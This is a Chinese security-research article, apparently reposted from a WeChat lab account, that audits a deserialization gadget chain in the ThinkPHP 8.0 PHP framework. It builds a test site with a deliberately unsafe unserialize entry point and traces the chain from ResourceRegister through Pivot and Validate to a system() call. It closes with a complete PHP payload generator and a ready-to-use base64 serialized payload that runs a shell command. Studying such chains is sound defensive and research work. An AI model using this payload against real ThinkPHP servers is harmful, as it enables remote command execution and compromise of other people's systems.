『代码审计』ThinkPHP8.0的反序列化分析

admin 2024年10月13日00:53:45评论37 views字数 6728阅读22分25秒阅读模式

CHENJI

点击蓝字 关注我们

『代码审计』ThinkPHP8.0的反序列化分析
日期:2024年09月11日
作者:Obsidian
介绍:ThinkPHP8的反序列化分析。

0x01 前期准备

ThinkPHP是一个免费开源的,快速、简单的面向对象的轻量级PHP开发框架。ThinkPHP8.0基于PHP8.06.1版本进行了重构和优化,并更加规范化,在20230630日发布。学习它的反序列化漏洞,需要对PHP基础、反序列化基础、类与对象以及命名空间的概念有所了解。

『代码审计』ThinkPHP8.0的反序列化分析

参考资料:
  • https://www.php.net/manual/zh/langref.php

  • https://www.php.net/manual/zh/language.oop5.php

  • https://www.php.net/manual/zh/language.namespaces.php

在了解完基础概念之后,需要进行测试环境搭建。

安装 ThinkPHP8.0 可使用composer一步到位,在任意目录下,例如/root/,执行以下命令:

#安装php8.0及所需依赖apt install software-properties-commonadd-apt-repository ppa:ondrej/phpapt intall php zip unzip php-zip#安装composercurl -sS https://getcomposer.org/installer | phpmv composer.phar /usr/local/bin/composer#使用composer安装ThinkPHP最新版composer create-project topthink/think tp

安装完成后,还需要进行启动:

cd tpphp think run

完成之后,访问系统的8000端口,如果内容与下图一致,说明搭建成功。

『代码审计』ThinkPHP8.0的反序列化分析

如果无法正常显示页面可能是网络问题哦

之后需要添加一个反序列化漏洞的入口:

可以在文件routes/web.php中,修改如下代码,增加反序列化利用点:

public function index(){    @unserialize(base64_decode($_GET['test']));    return 'test';}
『代码审计』ThinkPHP8.0的反序列化分析

之后访问8000端口,进行测试即可。

『代码审计』ThinkPHP8.0的反序列化分析

0x02 漏洞分析及复现

常规而言,反序列化漏洞的触发点一般是__wakeup()或者__destruct(),于是全局搜索相关方法:

『代码审计』ThinkPHP8.0的反序列化分析

『代码审计』ThinkPHP8.0的反序列化分析

在查看了所有的类之后,选择了ResourceRegister作为反序列化的起点,简化代码如下:

<?phpnamespace thinkroute;class ResourceRegister{    protected $resource;    protected function register(){        $this->resource->parseGroupRule($this->resource->getRule());    }    public function __destruct(){            $this->register();    }}

从以上代码可以发现,我们需要找到一个类,同时存在parseGroupRulegetRule方法,于是全局搜索相关方法:

『代码审计』ThinkPHP8.0的反序列化分析

『代码审计』ThinkPHP8.0的反序列化分析

最终发现,Resource继承RuleGroupRuleGroup继承Rule,同时满足以上条件,简化代码如下:

namespace thinkroute;class Rule{}class RuleGroup extends Rule{}class Resource extends RuleGroup{    protected $option = [];    protected $rule;    public function getRule(){        return $this->rule;    }    public function parseGroupRule($rule): void{        $option = $this->option;        if (str_contains($rule, '.')) {            $array = explode('.', $rule);            $item  = [];            foreach ($array as $val) {                $item[] = $val . '/<' . ($option['var'][$val] ?? $val . '_id') . '>';            }        }    }}

首先,getRule方法返回了$this->rule,变量可控。parseGroupRule方法对传入的$this->rule进行了判断和处理,最终需要$this->rule变量变成aaa.bbb的字符串形式,满足条件后,会进行foreach操作,对$this->option['var']['aaa']进行了字符串拼接操作,可以触发__toString()方法,于是全局搜索相关方法:

『代码审计』ThinkPHP8.0的反序列化分析

最终选择了Conversion进行利用,简化代码如下:

<?phpnamespace thinkmodelconcern;trait Conversion{    protected $visible = [];    protected $append = [];    private $relation = [];    public function __toString(){        return $this->toJson();    }    public function toJson(int $options = JSON_UNESCAPED_UNICODE): string{        return json_encode($this->toArray(), $options);    }    public function toArray(): array{        $item = $visible = $hidden = [];        foreach ($this->visible as $key => $val) {            if (is_string($val)) {                //......            } else {                $visible[$key] = $val;            }        }        foreach ($this->append as $key => $name) {            $this->appendAttrToArray($item, $key, $name, $visible, $hidden);        }        return $item;    }    protected function appendAttrToArray(array &$item, $key, array | string $name, array $visible, array $hidden): void{        if (is_array($name)) {            $relation   = $this->getRelationWith($key, $hidden, $visible);        }     }    protected function getRelationWith(string $key, array $hidden, array $visible){        $relation = $this->getRelation($key, true);        if ($relation) {            if (isset($visible[$key])) {                $relation->visible($visible[$key]);            }        }        return $relation;    }    public function getRelation(string $name = null, bool $auto = false){        if (array_key_exists($name, $this->relation)) {            return $this->relation[$name];        }    }}

__toString触发toJson()方法,然后继续触发toArray()方法,对$this->visible进行了判断和操作,限制条件是数组的值不能是字符串,这里可以先采用数组的形式进行绕过。然后对$this->append进行了foreach,触发了appendAttrToArray(),这里对$this->append进行了判断,要求数组值必须是数组,之后触发getRelationWith()方法。getRelation()要求$this->append$this->relation$this->visible拥有同样的数组键值。例如,$this->append['x']=['x'];$this->relation['x']='aaa';$this->visible['x']=['bbb'];。最终可以触发aaa__call方法,参数是['bbb']

但是Conversion类使用了trait定义,无法进行实例化,所以需要找到使用Conversion的其他类,于是全局搜索相关内容:

『代码审计』ThinkPHP8.0的反序列化分析

找到Model类。

abstract class Model {}

但是Model类是抽象类,同样无法使用,继续寻找继承Model类的其他类:

『代码审计』ThinkPHP8.0的反序列化分析

最终找到Pivot,可以用它来替代Conversion类使用,之后需要寻找可用的__call方法:

『代码审计』ThinkPHP8.0的反序列化分析

绝大部分的方法都限制了只能使用当前类的方法,或者对返回值做了限制,最终使用了Validate,简化代码如下:

<?phpnamespace think;class Validate{    protected $type;    public function __call($method, $args){        array_push($args, lcfirst($method));        return call_user_func_array([$this, 'is'], $args);    }    public function is($value, string $rule, array $data = []): bool{        $call = function ($value, $rule) {            if (isset($this->type[$rule])) {                $result = call_user_func_array($this->type[$rule], [$value]);            }            return $result;        };        return match (Str::camel($rule)) {            default    => $call($value, $rule)        };    }}

通过__call方法触发了自身的is方法,此时is方法的三个参数分别是$value=['bbb'],$rule='visible',$data=[]。最终通过call_user_func_array进行命令执行,方法名是$this->type['visible'],参数值是['bbb']。很明显,我们可以设置$this->type['visible']='system',但是参数是数组,无法利用。

此时回到最开始设置数组的地方,当时是为了绕过is_string,那么我们可以使用类的__toString方法进行绕过,找到一个ConstStub类,简化代码如下:

<?phpnamespace SymfonyComponentVarDumperCaster;class ConstStub{    public $value;    public function __toString(): string{        return (string) $this->value;    }}

可以将['bbb']替换为new ConstStub(),通过将命令设置为$this->value进行绕过,调用链如下:

at ResourceRegister->__destruct() in Index.phpat ResourceRegister->register() in ResourceRegister.phpat Resource->parseGroupRule() in ResourceRegister.phpat Model->__toString() in Resource.phpat Model->toJson() in Conversion.phpat Model->toArray() in Conversion.phpat Model->appendAttrToArray() in Conversion.phpat Model->getRelationWith() in Conversion.phpat Validate->__call() in Conversion.phpat call_user_func_array() in Validate.phpat Validate->is() in Validate.phpat call_user_func_array() in Validate.phpat ConstStub->__toString() in ConstStub.php

最终的payload代码如下:

<?phpnamespace SymfonyComponentVarDumperCaster{    class ConstStub {        public $value = 'whoami';    }}namespace think{    class Validate{        protected $type;        public function __construct(){            $this->type["visible"] = "system";        }    }}namespace thinkmodel{    use thinkValidate;    use SymfonyComponentVarDumperCasterConstStub;    class Pivot{        protected $append;        protected $visible;        private $relation;        public function __construct(){            $this->append["x"] = [];            $this->relation["x"] = new Validate();            $this->visible["x"] = new ConstStub();        }    }}namespace thinkroute{    use thinkmodelPivot;    class Resource{        protected $rule;        protected $option = [];        public function __construct(){            $this->rule = "x.x";            $this->option = ["var" => ["x" => new Pivot()]];        }    }    class ResourceRegister{        protected $resource;        public function __construct(){            $this->resource = new Resource();        }    }}namespace{    use thinkrouteResourceRegister;    $payload = new ResourceRegister();    echo base64_encode(serialize($payload));}//TzoyODoidGhpbmtccm91dGVcUmVzb3VyY2VSZWdpc3RlciI6MTp7czoxMToiACoAcmVzb3VyY2UiO086MjA6InRoaW5rXHJvdXRlXFJlc291cmNlIjoyOntzOjc6IgAqAHJ1bGUiO3M6MzoieC54IjtzOjk6IgAqAG9wdGlvbiI7YToxOntzOjM6InZhciI7YToxOntzOjE6IngiO086MTc6InRoaW5rXG1vZGVsXFBpdm90IjozOntzOjk6IgAqAGFwcGVuZCI7YToxOntzOjE6IngiO2E6MDp7fX1zOjEwOiIAKgB2aXNpYmxlIjthOjE6e3M6MToieCI7Tzo0NDoiU3ltZm9ueVxDb21wb25lbnRcVmFyRHVtcGVyXENhc3RlclxDb25zdFN0dWIiOjE6e3M6NToidmFsdWUiO3M6Njoid2hvYW1pIjt9fXM6Mjc6IgB0aGlua1xtb2RlbFxQaXZvdAByZWxhdGlvbiI7YToxOntzOjE6IngiO086MTQ6InRoaW5rXFZhbGlkYXRlIjoxOntzOjc6IgAqAHR5cGUiO2E6MTp7czo3OiJ2aXNpYmxlIjtzOjY6InN5c3RlbSI7fX19fX19fX0=?>
『代码审计』ThinkPHP8.0的反序列化分析

0x03 总结

ThinkPHP框架的全部反序列化利用链要比之前分析过的yii2框架和Laravel框架更加复杂一点。之前没有对前置版本5.06.0的反序列化进行分析过,本次算是ThinkPHP框架的第一次分析,后续如果官方更新后,也会继续尝试进行分析。
『代码审计』ThinkPHP8.0的反序列化分析

免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。

点此亲启

原文始发于微信公众号(宸极实验室):『代码审计』ThinkPHP8.0的反序列化分析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月13日00:53:45
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   『代码审计』ThinkPHP8.0的反序列化分析https://cn-sec.com/archives/3259806.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息